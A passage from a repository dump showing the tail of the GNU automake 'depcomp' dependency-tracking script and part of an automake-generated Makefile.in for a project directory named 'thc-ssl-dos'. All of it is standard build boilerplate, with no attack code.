-f "$tmpdepfile"; then 336 | sed -e "s,^.*\.[a-z]*:,$object:," "$tmpdepfile" > "$depfile" 337 | # Add `dependent.h:' lines. 338 | sed -ne '2,${ 339 | s/^ *// 340 | s/ \\*$// 341 | s/$/:/ 342 | p 343 | }' "$tmpdepfile" >> "$depfile" 344 | else 345 | echo "#dummy" > "$depfile" 346 | fi 347 | rm -f "$tmpdepfile" "$tmpdepfile2" 348 | ;; 349 | 350 | tru64) 351 | # The Tru64 compiler uses -MD to generate dependencies as a side 352 | # effect. `cc -MD -o foo.o ...' puts the dependencies into `foo.o.d'. 353 | # At least on Alpha/Redhat 6.1, Compaq CCC V6.2-504 seems to put 354 | # dependencies in `foo.d' instead, so we check for that too. 355 | # Subdirectories are respected. 356 | dir=`echo "$object" | sed -e 's|/[^/]*$|/|'` 357 | test "x$dir" = "x$object" && dir= 358 | base=`echo "$object" | sed -e 's|^.*/||' -e 's/\.o$//' -e 's/\.lo$//'` 359 | 360 | if test "$libtool" = yes; then 361 | # With Tru64 cc, shared objects can also be used to make a 362 | # static library. This mechanism is used in libtool 1.4 series to 363 | # handle both shared and static libraries in a single compilation. 364 | # With libtool 1.4, dependencies were output in $dir.libs/$base.lo.d. 365 | # 366 | # With libtool 1.5 this exception was removed, and libtool now 367 | # generates 2 separate objects for the 2 libraries. These two 368 | # compilations output dependencies in $dir.libs/$base.o.d and 369 | # in $dir$base.o.d. We have to check for both files, because 370 | # one of the two compilations can be disabled. We should prefer 371 | # $dir$base.o.d over $dir.libs/$base.o.d because the latter is 372 | # automatically cleaned when .libs/ is deleted, while ignoring 373 | # the former would cause a distcleancheck panic. 374 | tmpdepfile1=$dir.libs/$base.lo.d # libtool 1.4 375 | tmpdepfile2=$dir$base.o.d # libtool 1.5 376 | tmpdepfile3=$dir.libs/$base.o.d # libtool 1.5 377 | tmpdepfile4=$dir.libs/$base.d # Compaq CCC V6.2-504 378 | "$@" -Wc,-MD 379 | else 380 | tmpdepfile1=$dir$base.o.d 381 | tmpdepfile2=$dir$base.d 382 | tmpdepfile3=$dir$base.d 383 | tmpdepfile4=$dir$base.d 384 | "$@" -MD 385 | fi 386 | 387 | stat=$? 388 | if test $stat -eq 0; then : 389 | else 390 | rm -f "$tmpdepfile1" "$tmpdepfile2" "$tmpdepfile3" "$tmpdepfile4" 391 | exit $stat 392 | fi 393 | 394 | for tmpdepfile in "$tmpdepfile1" "$tmpdepfile2" "$tmpdepfile3" "$tmpdepfile4" 395 | do 396 | test -f "$tmpdepfile" && break 397 | done 398 | if test -f "$tmpdepfile"; then 399 | sed -e "s,^.*\.[a-z]*:,$object:," < "$tmpdepfile" > "$depfile" 400 | # That's a tab and a space in the []. 401 | sed -e 's,^.*\.[a-z]*:[ ]*,,' -e 's,$,:,' < "$tmpdepfile" >> "$depfile" 402 | else 403 | echo "#dummy" > "$depfile" 404 | fi 405 | rm -f "$tmpdepfile" 406 | ;; 407 | 408 | #nosideeffect) 409 | # This comment above is used by automake to tell side-effect 410 | # dependency tracking mechanisms from slower ones. 411 | 412 | dashmstdout) 413 | # Important note: in order to support this mode, a compiler *must* 414 | # always write the preprocessed file to stdout, regardless of -o. 415 | "$@" || exit $? 416 | 417 | # Remove the call to Libtool. 418 | if test "$libtool" = yes; then 419 | while test "X$1" != 'X--mode=compile'; do 420 | shift 421 | done 422 | shift 423 | fi 424 | 425 | # Remove `-o $object'. 426 | IFS=" " 427 | for arg 428 | do 429 | case $arg in 430 | -o) 431 | shift 432 | ;; 433 | $object) 434 | shift 435 | ;; 436 | *) 437 | set fnord "$@" "$arg" 438 | shift # fnord 439 | shift # $arg 440 | ;; 441 | esac 442 | done 443 | 444 | test -z "$dashmflag" && dashmflag=-M 445 | # Require at least two characters before searching for `:' 446 | # in the target name. This is to cope with DOS-style filenames: 447 | # a dependency such as `c:/foo/bar' could be seen as target `c' otherwise. 448 | "$@" $dashmflag | 449 | sed 's:^[ ]*[^: ][^:][^:]*\:[ ]*:'"$object"'\: :' > "$tmpdepfile" 450 | rm -f "$depfile" 451 | cat < "$tmpdepfile" > "$depfile" 452 | tr ' ' ' 453 | ' < "$tmpdepfile" | \ 454 | ## Some versions of the HPUX 10.20 sed can't process this invocation 455 | ## correctly. Breaking it into two sed invocations is a workaround. 456 | sed -e 's/^\\$//' -e '/^$/d' -e '/:$/d' | sed -e 's/$/ :/' >> "$depfile" 457 | rm -f "$tmpdepfile" 458 | ;; 459 | 460 | dashXmstdout) 461 | # This case only exists to satisfy depend.m4. It is never actually 462 | # run, as this mode is specially recognized in the preamble. 463 | exit 1 464 | ;; 465 | 466 | makedepend) 467 | "$@" || exit $? 468 | # Remove any Libtool call 469 | if test "$libtool" = yes; then 470 | while test "X$1" != 'X--mode=compile'; do 471 | shift 472 | done 473 | shift 474 | fi 475 | # X makedepend 476 | shift 477 | cleared=no eat=no 478 | for arg 479 | do 480 | case $cleared in 481 | no) 482 | set ""; shift 483 | cleared=yes ;; 484 | esac 485 | if test $eat = yes; then 486 | eat=no 487 | continue 488 | fi 489 | case "$arg" in 490 | -D*|-I*) 491 | set fnord "$@" "$arg"; shift ;; 492 | # Strip any option that makedepend may not understand. Remove 493 | # the object too, otherwise makedepend will parse it as a source file. 494 | -arch) 495 | eat=yes ;; 496 | -*|$object) 497 | ;; 498 | *) 499 | set fnord "$@" "$arg"; shift ;; 500 | esac 501 | done 502 | obj_suffix=`echo "$object" | sed 's/^.*\././'` 503 | touch "$tmpdepfile" 504 | ${MAKEDEPEND-makedepend} -o"$obj_suffix" -f"$tmpdepfile" "$@" 505 | rm -f "$depfile" 506 | cat < "$tmpdepfile" > "$depfile" 507 | sed '1,2d' "$tmpdepfile" | tr ' ' ' 508 | ' | \ 509 | ## Some versions of the HPUX 10.20 sed can't process this invocation 510 | ## correctly. Breaking it into two sed invocations is a workaround. 511 | sed -e 's/^\\$//' -e '/^$/d' -e '/:$/d' | sed -e 's/$/ :/' >> "$depfile" 512 | rm -f "$tmpdepfile" "$tmpdepfile".bak 513 | ;; 514 | 515 | cpp) 516 | # Important note: in order to support this mode, a compiler *must* 517 | # always write the preprocessed file to stdout. 518 | "$@" || exit $? 519 | 520 | # Remove the call to Libtool. 521 | if test "$libtool" = yes; then 522 | while test "X$1" != 'X--mode=compile'; do 523 | shift 524 | done 525 | shift 526 | fi 527 | 528 | # Remove `-o $object'. 529 | IFS=" " 530 | for arg 531 | do 532 | case $arg in 533 | -o) 534 | shift 535 | ;; 536 | $object) 537 | shift 538 | ;; 539 | *) 540 | set fnord "$@" "$arg" 541 | shift # fnord 542 | shift # $arg 543 | ;; 544 | esac 545 | done 546 | 547 | "$@" -E | 548 | sed -n -e '/^# [0-9][0-9]* "\([^"]*\)".*/ s:: \1 \\:p' \ 549 | -e '/^#line [0-9][0-9]* "\([^"]*\)".*/ s:: \1 \\:p' | 550 | sed '$ s: \\$::' > "$tmpdepfile" 551 | rm -f "$depfile" 552 | echo "$object : \\" > "$depfile" 553 | cat < "$tmpdepfile" >> "$depfile" 554 | sed < "$tmpdepfile" '/^$/d;s/^ //;s/ \\$//;s/$/ :/' >> "$depfile" 555 | rm -f "$tmpdepfile" 556 | ;; 557 | 558 | msvisualcpp) 559 | # Important note: in order to support this mode, a compiler *must* 560 | # always write the preprocessed file to stdout. 561 | "$@" || exit $? 562 | 563 | # Remove the call to Libtool. 564 | if test "$libtool" = yes; then 565 | while test "X$1" != 'X--mode=compile'; do 566 | shift 567 | done 568 | shift 569 | fi 570 | 571 | IFS=" " 572 | for arg 573 | do 574 | case "$arg" in 575 | -o) 576 | shift 577 | ;; 578 | $object) 579 | shift 580 | ;; 581 | "-Gm"|"/Gm"|"-Gi"|"/Gi"|"-ZI"|"/ZI") 582 | set fnord "$@" 583 | shift 584 | shift 585 | ;; 586 | *) 587 | set fnord "$@" "$arg" 588 | shift 589 | shift 590 | ;; 591 | esac 592 | done 593 | "$@" -E 2>/dev/null | 594 | sed -n '/^#line [0-9][0-9]* "\([^"]*\)"/ s::\1:p' | $cygpath_u | sort -u > "$tmpdepfile" 595 | rm -f "$depfile" 596 | echo "$object : \\" > "$depfile" 597 | sed < "$tmpdepfile" -n -e 's% %\\ %g' -e '/^\(.*\)$/ s:: \1 \\:p' >> "$depfile" 598 | echo " " >> "$depfile" 599 | sed < "$tmpdepfile" -n -e 's% %\\ %g' -e '/^\(.*\)$/ s::\1\::p' >> "$depfile" 600 | rm -f "$tmpdepfile" 601 | ;; 602 | 603 | msvcmsys) 604 | # This case exists only to let depend.m4 do its work. It works by 605 | # looking at the text of this script. This case will never be run, 606 | # since it is checked for above. 607 | exit 1 608 | ;; 609 | 610 | none) 611 | exec "$@" 612 | ;; 613 | 614 | *) 615 | echo "Unknown depmode $depmode" 1>&2 616 | exit 1 617 | ;; 618 | esac 619 | 620 | exit 0 621 | 622 | # Local Variables: 623 | # mode: shell-script 624 | # sh-indentation: 2 625 | # eval: (add-hook 'write-file-hooks 'time-stamp) 626 | # time-stamp-start: "scriptversion=" 627 | # time-stamp-format: "%:y-%02m-%02d.%02H" 628 | # time-stamp-time-zone: "UTC" 629 | # time-stamp-end: "; # UTC" 630 | # End: 631 | -------------------------------------------------------------------------------- /thc-ssl-dos/Makefile.in: -------------------------------------------------------------------------------- 1 | # Makefile.in generated by automake 1.11.1 from Makefile.am. 2 | # @configure_input@ 3 | 4 | # Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 5 | # 2003, 2004, 2005, 2006, 2007, 2008, 2009 Free Software Foundation, 6 | # Inc. 7 | # This Makefile.in is free software; the Free Software Foundation 8 | # gives unlimited permission to copy and/or distribute it, 9 | # with or without modifications, as long as this notice is preserved. 10 | 11 | # This program is distributed in the hope that it will be useful, 12 | # but WITHOUT ANY WARRANTY, to the extent permitted by law; without 13 | # even the implied warranty of MERCHANTABILITY or FITNESS FOR A 14 | # PARTICULAR PURPOSE. 15 | 16 | @SET_MAKE@ 17 | VPATH = @srcdir@ 18 | pkgdatadir = $(datadir)/@PACKAGE@ 19 | pkgincludedir = $(includedir)/@PACKAGE@ 20 | pkglibdir = $(libdir)/@PACKAGE@ 21 | pkglibexecdir = $(libexecdir)/@PACKAGE@ 22 | am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd 23 | install_sh_DATA = $(install_sh) -c -m 644 24 | install_sh_PROGRAM = $(install_sh) -c 25 | install_sh_SCRIPT = $(install_sh) -c 26 | INSTALL_HEADER = $(INSTALL_DATA) 27 | transform = $(program_transform_name) 28 | NORMAL_INSTALL = : 29 | PRE_INSTALL = : 30 | POST_INSTALL = : 31 | NORMAL_UNINSTALL = : 32 | PRE_UNINSTALL = : 33 | POST_UNINSTALL = : 34 | build_triplet = @build@ 35 | host_triplet = @host@ 36 | target_triplet = @target@ 37 | subdir = . 38 | DIST_COMMON = $(am__configure_deps) $(srcdir)/Makefile.am \ 39 | $(srcdir)/Makefile.in $(srcdir)/config.h.in \ 40 | $(top_srcdir)/configure config/config.guess config/config.sub \ 41 | config/depcomp config/install-sh config/missing 42 | ACLOCAL_M4 = $(top_srcdir)/aclocal.m4 43 | am__aclocal_m4_deps = $(top_srcdir)/configure.in 44 | am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \ 45 | $(ACLOCAL_M4) 46 | am__CONFIG_DISTCLEAN_FILES = config.status config.cache config.log \ 47 | configure.lineno config.status.lineno 48 | mkinstalldirs = $(install_sh) -d 49 | CONFIG_HEADER = config.h 50 | CONFIG_CLEAN_FILES = 51 | CONFIG_CLEAN_VPATH_FILES = 52 | SOURCES = 53 | DIST_SOURCES = 54 | RECURSIVE_TARGETS = all-recursive check-recursive dvi-recursive \ 55 | html-recursive info-recursive install-data-recursive \ 56 | install-dvi-recursive install-exec-recursive \ 57 | install-html-recursive install-info-recursive \ 58 | install-pdf-recursive install-ps-recursive install-recursive \ 59 | installcheck-recursive installdirs-recursive pdf-recursive \ 60 | ps-recursive uninstall-recursive 61 | RECURSIVE_CLEAN_TARGETS = mostlyclean-recursive clean-recursive \ 62 | distclean-recursive maintainer-clean-recursive 63 | AM_RECURSIVE_TARGETS = $(RECURSIVE_TARGETS:-recursive=) \ 64 | $(RECURSIVE_CLEAN_TARGETS:-recursive=) tags TAGS ctags CTAGS \ 65 | distdir dist dist-all distcheck 66 | ETAGS = etags 67 | CTAGS = ctags 68 | DIST_SUBDIRS = $(SUBDIRS) 69 | DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST) 70 | distdir = $(PACKAGE)-$(VERSION) 71 | top_distdir = $(distdir) 72 | am__remove_distdir = \ 73 | { test ! -d "$(distdir)" \ 74 | || { find "$(distdir)" -type d ! -perm -200 -exec chmod u+w {} ';' \ 75 | && rm -fr "$(distdir)"; }; } 76 | am__relativize = \ 77 | dir0=`pwd`; \ 78 | sed_first='s,^\([^/]*\)/.*$$,\1,'; \ 79 | sed_rest='s,^[^/]*/*,,'; \ 80 | sed_last='s,^.*/\([^/]*\)$$,\1,'; \ 81 | sed_butlast='s,/*[^/]*$$,,'; \ 82 | while test -n "$$dir1"; do \ 83 | first=`echo "$$dir1" | sed -e "$$sed_first"`; \ 84 | if test "$$first" != "."; then \ 85 | if test "$$first" = ".."; then \ 86 | dir2=`echo "$$dir0" | sed -e "$$sed_last"`/"$$dir2"; \ 87 | dir0=`echo "$$dir0" | sed -e "$$sed_butlast"`; \ 88 | else \ 89 | first2=`echo "$$dir2" | sed -e "$$sed_first"`; \ 90 | if test "$$first2" = "$$first"; then \ 91 | dir2=`echo "$$dir2" | sed -e "$$sed_rest"`; \ 92 | else \ 93 | dir2="../$$dir2"; \ 94 | fi; \ 95 | dir0="$$dir0"/"$$first"; \ 96 | fi; \ 97 | fi; \ 98 | dir1=`echo "$$dir1" | sed -e "$$sed_rest"`; \ 99 | done; \ 100 | reldir="$$dir2" 101 | DIST_ARCHIVES = $(distdir).tar.gz 102 | GZIP_ENV = --best 103 | distuninstallcheck_listfiles = find . -type f -print 104 | distcleancheck_listfiles = find . -type f -print 105 | ACLOCAL = @ACLOCAL@ 106 | AMTAR = @AMTAR@ 107 | AUTOCONF = @AUTOCONF@ 108 | AUTOHEADER = @AUTOHEADER@ 109 | AUTOMAKE = @AUTOMAKE@ 110 | AWK = @AWK@ 111 | CC = @CC@ 112 | CCDEPMODE = @CCDEPMODE@ 113 | CFLAGS = @CFLAGS@ 114 | CPP = @CPP@ 115 | CPPFLAGS = @CPPFLAGS@ 116 | CYGPATH_W = @CYGPATH_W@ 117 | DEFS = @DEFS@ 118 | DEPDIR = @DEPDIR@ 119 | ECHO_C = @ECHO_C@ 120 | ECHO_N = @ECHO_N@ 121 | ECHO_T = @ECHO_T@ 122 | EGREP = @EGREP@ 123 | EXEEXT = @EXEEXT@ 124 | GREP = @GREP@ 125 | INSTALL = @INSTALL@ 126 | INSTALL_DATA = @INSTALL_DATA@ 127 | INSTALL_PROGRAM = @INSTALL_PROGRAM@ 128 | INSTALL_SCRIPT = @INSTALL_SCRIPT@ 129 | INSTALL_STRIP_PROGRAM = @INSTALL_STRIP_PROGRAM@ 130 | LDFLAGS = @LDFLAGS@ 131 | LIBOBJS = @LIBOBJS@ 132 | LIBS = @LIBS@ 133 | LTLIBOBJS = @LTLIBOBJS@ 134 | MAKEINFO = @MAKEINFO@ 135 | MKDIR_P = @MKDIR_P@ 136 | OBJEXT = @OBJEXT@ 137 | PACKAGE = @PACKAGE@ 138 | PACKAGE_BUGREPORT = @PACKAGE_BUGREPORT@ 139 | PACKAGE_NAME = @PACKAGE_NAME@ 140 | PACKAGE_STRING = @PACKAGE_STRING@ 141 | PACKAGE_TARNAME = @PACKAGE_TARNAME@ 142 | PACKAGE_URL = @PACKAGE_URL@ 143 | PACKAGE_VERSION = @PACKAGE_VERSION@ 144 | PATH_SEPARATOR = @PATH_SEPARATOR@ 145 | RANLIB = @RANLIB@ 146 | SET_MAKE = @SET_MAKE@ 147 | SHELL = @SHELL@ 148 | STRIP = @STRIP@ 149 | VERSION = @VERSION@ 150 | abs_builddir = @abs_builddir@ 151 | abs_srcdir = @abs_srcdir@ 152 | abs_top_builddir = @abs_top_builddir@ 153 | abs_top_srcdir = @abs_top_srcdir@ 154 | ac_ct_CC = @ac_ct_CC@ 155 | am__include = @am__include@ 156 | am__leading_dot = @am__leading_dot@ 157 | am__quote = @am__quote@ 158 | am__tar = @am__tar@ 159 | am__untar = @am__untar@ 160 | bindir = @bindir@ 161 | build = @build@ 162 | build_alias = @build_alias@ 163 | build_cpu = @build_cpu@ 164 | build_os = @build_os@ 165 | build_vendor = @build_vendor@ 166 | builddir = @builddir@ 167 | datadir = @datadir@ 168 | datarootdir = @datarootdir@ 169 | docdir = @docdir@ 170 | dvidir = @dvidir@ 171 | exec_prefix = @exec_prefix@ 172 | host = @host@ 173 | host_alias = @host_alias@ 174 | host_cpu = @host_cpu@ 175 | host_os = @host_os@ 176 | host_vendor = @host_vendor@ 177 | htmldir = @htmldir@ 178 | includedir = @includedir@ 179 | infodir = @infodir@ 180 | install_sh = @install_sh@ 181 | libdir = @libdir@ 182 | libexecdir = @libexecdir@ 183 | localedir = @localedir@ 184 | localstatedir = @localstatedir@ 185 | mandir = @mandir@ 186 | mkdir_p = @mkdir_p@ 187 | oldincludedir = @oldincludedir@ 188 | pdfdir = @pdfdir@ 189 | prefix = @prefix@ 190 | program_transform_name = @program_transform_name@ 191 | psdir = @psdir@ 192 | sbindir = @sbindir@ 193 | sharedstatedir = @sharedstatedir@ 194 | srcdir = @srcdir@ 195 | sysconfdir = @sysconfdir@ 196 | target = @target@ 197 | target_alias = @target_alias@ 198 | target_cpu = @target_cpu@ 199 | target_os = @target_os@ 200 | target_vendor = @target_vendor@ 201 | top_build_prefix = @top_build_prefix@ 202 | top_builddir = @top_builddir@ 203 | top_srcdir = @top_srcdir@ 204 | SUBDIRS = src 205 | EXTRA_DIST = config VERSION bootstrap CHANGELOG.TXT README.TXT 206 | all: config.h 207 | $(MAKE) $(AM_MAKEFLAGS) all-recursive 208 | 209 | .SUFFIXES: 210 | am--refresh: 211 | @: 212 | $(srcdir)/Makefile.in: $(srcdir)/Makefile.am $(am__configure_deps) 213 | @for dep in $?; do \ 214 | case '$(am__configure_deps)' in \ 215 | *$$dep*) \ 216 | echo ' cd $(srcdir) && $(AUTOMAKE) --foreign'; \ 217 | $(am__cd) $(srcdir) && $(AUTOMAKE) --foreign \ 218 | && exit 0; \ 219 | exit 1;; \ 220 | esac; \ 221 | done; \ 222 | echo ' cd $(top_srcdir) && $(AUTOMAKE) --foreign Makefile'; \ 223 | $(am__cd) $(top_srcdir) && \ 224 | $(AUTOMAKE) --foreign Makefile 225 | .PRECIOUS: Makefile 226 | Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status 227 | @case '$?' in \ 228 | *config.status*) \ 229 | echo ' $(SHELL) ./config.status'; \ 230 | $(SHELL) ./config.status;; \ 231 | *) \ 232 | echo ' cd $(top_builddir) && $(SHELL) ./config.status $@ $(am__depfiles_maybe)'; \ 233 | cd $(top_builddir) && $(SHELL) ./config.status $@ $(am__depfiles_maybe);; \ 234 | esac; 235 | 236 | $(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS_DEPENDENCIES) 237 | $(SHELL) ./config.status --recheck 238 | 239 | $(top_srcdir)/configure: $(am__configure_deps) 240 | $(am__cd) $(srcdir) && $(AUTOCONF) 241 | $(ACLOCAL_M4): $(am__aclocal_m4_deps) 242 | $(am__cd) $(srcdir) && $(ACLOCAL) $(ACLOCAL_AMFLAGS) 243 | $(am__aclocal_m4_deps): 244 | 245 | config.h: stamp-h1 246 | @if test ! -f $@; then \ 247 | rm -f stamp-h1; \ 248 | $(MAKE) $(AM_MAKEFLAGS) stamp-h1; \ 249 | else :; fi 250 | 251 | stamp-h1: $(srcdir)/config.h.in $(top_builddir)/config.status 252 | @rm -f stamp-h1 253 | cd $(top_builddir) && $(SHELL) ./config.status config.h 254 | $(srcdir)/config.h.in: $(am__configure_deps) 255 | ($(am__cd) $(top_srcdir) && $(AUTOHEADER)) 256 | rm -f stamp-h1 257 | touch $@ 258 | 259 | distclean-hdr: 260 | -rm -f config.h stamp-h1 261 | 262 | # This directory's subdirectories are mostly independent; you can cd 263 | # into them and run `make' without going through this Makefile. 264 | # To change the values of `make' variables: instead of editing Makefiles, 265 | # (1) if the variable is set in `config.status', edit `config.status' 266 | # (which will cause the Makefiles to be regenerated when you run `make'); 267 | # (2) otherwise, pass the desired values on the `make' command line. 268 | $(RECURSIVE_TARGETS): 269 | @fail= failcom='exit 1'; \ 270 | for f in x $$MAKEFLAGS; do \ 271 | case $$f in \ 272 | *=* | --[!k]*);; \ 273 | *k*) failcom='fail=yes';; \ 274 | esac; \ 275 | done; \ 276 | dot_seen=no; \ 277 | target=`echo $@ | sed s/-recursive//`; \ 278 | list='$(SUBDIRS)'; for subdir in $$list; do \ 279 | echo "Making $$target in $$subdir"; \ 280 | if test "$$subdir" = "."; then \ 281 | dot_seen=yes; \ 282 | local_target="$$target-am"; \ 283 | else \ 284 | local_target="$$target"; \ 285 | fi; \ 286 | ($(am__cd) $$subdir && $(MAKE) $(AM_MAKEFLAGS) $$local_target) \ 287 | || eval $$failcom; \ 288 | done; \ 289 | if test "$$dot_seen" = "no"; then \ 290 | $(MAKE) $(AM_MAKEFLAGS) "$$target-am" || exit 1; \ 291 | fi; test -z "$$fail" 292 | 293 | $(RECURSIVE_CLEAN_TARGETS): 294 | @fail= failcom='exit 1'; \ 295 | for f in x $$MAKEFLAGS; do \ 296 | case $$f in \ 297 | *=* | --[!k]*);; \ 298 | *k*) failcom='fail=yes';; \ 299 | esac; \ 300 | done; \ 301 | dot_seen=no; \ 302 | case "$@" in \ 303 | distclean-* | maintainer-clean-*) list='$(DIST_SUBDIRS)' ;; \ 304 | *) list='$(SUBDIRS)' ;; \ 305 | esac; \ 306 | rev=''; for subdir in $$list; do \ 307 | if test "$$subdir" = "."; then :; else \ 308 | rev="$$subdir $$rev"; \ 309 | fi; \ 310 | done; \ 311 | rev="$$rev ."; \ 312 | target=`echo $@ | sed s/-recursive//`; \ 313 | for subdir in $$rev; do \ 314 | echo "Making $$target in $$subdir"; \ 315 | if test "$$subdir" = "."; then \ 316 | local_target="$$target-am"; \ 317 | else \ 318 | local_target="$$target"; \ 319 | fi; \ 320 | ($(am__cd) $$subdir && $(MAKE) $(AM_MAKEFLAGS) $$local_target) \ 321 | || eval $$failcom; \ 322 | done && test -z "$$fail" 323 | tags-recursive: 324 | list='$(SUBDIRS)'; for subdir in $$list; do \ 325 | test "$$subdir" = . || ($(am__cd) $$subdir && $(MAKE) $(AM_MAKEFLAGS) tags); \ 326 | done 327 | ctags-recursive: 328 | list='$(SUBDIRS)'; for subdir in $$list; do \ 329 | test "$$subdir" = . || ($(am__cd) $$subdir && $(MAKE) $(AM_MAKEFLAGS) ctags); \ 330 | done 331 | 332 | ID: $(HEADERS) $(SOURCES) $(LISP) $(TAGS_FILES) 333 | list='$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \ 334 | unique=`for i in $$list; do \ 335 | if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ 336 | done | \ 337 | $(AWK) '{ files[$$0] = 1; nonempty = 1; } \ 338 | END { if (nonempty) { for (i in files) print i; }; }'`; \ 339 | mkid -fID $$unique 340 | tags: TAGS 341 | 342 | TAGS: tags-recursive $(HEADERS) $(SOURCES) config.h.in $(TAGS_DEPENDENCIES) \ 343 | $(TAGS_FILES) $(LISP) 344 | set x; \ 345 | here=`pwd`; \ 346 | if ($(ETAGS) --etags-include --version) >/dev/null 2>&1; then \ 347 | include_option=--etags-include; \ 348 | empty_fix=.; \ 349 | else \ 350 | include_option=--include; \ 351 | empty_fix=; \ 352 | fi; \ 353 | list='$(SUBDIRS)'; for subdir in $$list; do \ 354 | if test "$$subdir" = .; then :; else \ 355 | test ! -f $$subdir/TAGS || \ 356 | set "$$@" "$$include_option=$$here/$$subdir/TAGS"; \ 357 | fi; \ 358 | done; \ 359 | list='$(SOURCES) $(HEADERS) config.h.in $(LISP) $(TAGS_FILES)'; \ 360 | unique=`for i in $$list; do \ 361 | if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ 362 | done | \ 363 | $(AWK) '{ files[$$0] = 1; nonempty = 1; } \ 364 | END { if (nonempty) { for (i in files) print i; }; }'`; \ 365 | shift; \ 366 | if test -z "$(ETAGS_ARGS)$$*$$unique"; then :; else \ 367 | test -n "$$unique" || unique=$$empty_fix; \ 368 | if test $$# -gt 0; then \ 369 | $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \ 370 | "$$@" $$unique; \ 371 | else \ 372 | $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \ 373 | $$unique; \ 374 | fi; \ 375 | fi 376 | ctags: CTAGS 377 | CTAGS: ctags-recursive $(HEADERS) $(SOURCES) config.h.in $(TAGS_DEPENDENCIES) \ 378 | $(TAGS_FILES) $(LISP) 379 | list='$(SOURCES) $(HEADERS) config.h.in $(LISP) $(TAGS_FILES)'; \ 380 | unique=`for i in $$list; do \ 381 | if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ 382 | done | \ 383 | $(AWK) '{ files[$$0] = 1; nonempty = 1; } \ 384 | END { if (nonempty) { for (i in files) print i; }; }'`; \ 385 | test -z "$(CTAGS_ARGS)$$unique" \ 386 | || $(CTAGS) $(CTAGSFLAGS) $(AM_CTAGSFLAGS) $(CTAGS_ARGS) \ 387 | $$unique 388 | 389 | GTAGS: 390 | here=`$(am__cd) $(top_builddir) && pwd` \ 391 | && $(am__cd) $(top_srcdir) \ 392 | && gtags -i $(GTAGS_ARGS) "$$here" 393 | 394 | distclean-tags: 395 | -rm -f TAGS ID GTAGS GRTAGS GSYMS GPATH tags 396 | 397 | distdir: $(DISTFILES) 398 | $(am__remove_distdir) 399 | test -d "$(distdir)" || mkdir "$(distdir)" 400 | @srcdirstrip=`echo "$(srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \ 401 | topsrcdirstrip=`echo "$(top_srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \ 402 | list='$(DISTFILES)'; \ 403 | dist_files=`for file in $$list; do echo $$file; done | \ 404 | sed -e "s|^$$srcdirstrip/||;t" \ 405 | -e "s|^$$topsrcdirstrip/|$(top_builddir)/|;t"`; \ 406 | case $$dist_files in \ 407 | */*) $(MKDIR_P) `echo "$$dist_files" | \ 408 | sed '/\//!d;s|^|$(distdir)/|;s,/[^/]*$$,,' | \ 409 | sort -u` ;; \ 410 | esac; \ 411 | for file in $$dist_files; do \ 412 | if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \ 413 | if test -d $$d/$$file; then \ 414 | dir=`echo "/$$file" | sed -e 's,/[^/]*$$,,'`; \ 415 | if test -d "$(distdir)/$$file"; then \ 416 | find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \ 417 | fi; \ 418 | if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \ 419 | cp -fpR $(srcdir)/$$file "$(distdir)$$dir" || exit 1; \ 420 | find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \ 421 | fi; \ 422 | cp -fpR $$d/$$file "$(distdir)$$dir" || exit 1; \ 423 | else \ 424 | test -f "$(distdir)/$$file" \ 425 | || cp -p $$d/$$file "$(distdir)/$$file" \ 426 | || exit 1; \ 427 | fi; \ 428 | done 429 | @list='$(DIST_SUBDIRS)'; for subdir in $$list; do \ 430 | if test "$$subdir" = .; then :; else \ 431 | test -d "$(distdir)/$$subdir" \ 432 | || $(MKDIR_P) "$(distdir)/$$subdir" \ 433 | || exit 1; \ 434 | fi; \ 435 | done 436 | @list='$(DIST_SUBDIRS)'; for subdir in $$list; do \ 437 | if test "$$subdir" = .; then :; else \ 438 | dir1=$$subdir; dir2="$(distdir)/$$subdir"; \ 439 | $(am__relativize); \ 440 | new_distdir=$$reldir; \ 441 | dir1=$$subdir; dir2="$(top_distdir)"; \ 442 | $(am__relativize); \ 443 | new_top_distdir=$$reldir; \ 444 | echo " (cd $$subdir && $(MAKE) $(AM_MAKEFLAGS) top_distdir="$$new_top_distdir" distdir="$$new_distdir" \\"; \ 445 | echo " am__remove_distdir=: am__skip_length_check=: am__skip_mode_fix=: distdir)"; \ 446 | ($(am__cd) $$subdir && \ 447 | $(MAKE) $(AM_MAKEFLAGS) \ 448 | top_distdir="$$new_top_distdir" \ 449 | distdir="$$new_distdir" \ 450 | am__remove_distdir=: \ 451 | am__skip_length_check=: \ 452 | am__skip_mode_fix=: \ 453 | distdir) \ 454 | || exit 1; \ 455 | fi; \ 456 | done 457 | -test -n "$(am__skip_mode_fix)" \ 458 | || find "$(distdir)" -type d ! -perm -755 \ 459 | -exec chmod u+rwx,go+rx {} \; -o \ 460 | ! -type d ! -perm -444 -links 1 -exec chmod a+r {} \; -o \ 461 | ! -type d ! -perm -400 -exec chmod a+r {} \; -o \ 462 | ! -type d ! -perm -444 -exec $(install_sh) -c -m a+r {} {} \; \ 463 | || chmod -R a+r "$(distdir)" 464 | dist-gzip: distdir 465 | tardir=$(distdir) && $(am__tar) | GZIP=$(GZIP_ENV) gzip -c >$(distdir).tar.gz 466 | $(am__remove_distdir) 467 | 468 | dist-bzip2: distdir 469 | tardir=$(distdir) && $(am__tar) | bzip2 -9 -c >$(distdir).tar.bz2 470 | $(am__remove_distdir) 471 | 472 | dist-lzma: distdir 473 | tardir=$(distdir) && 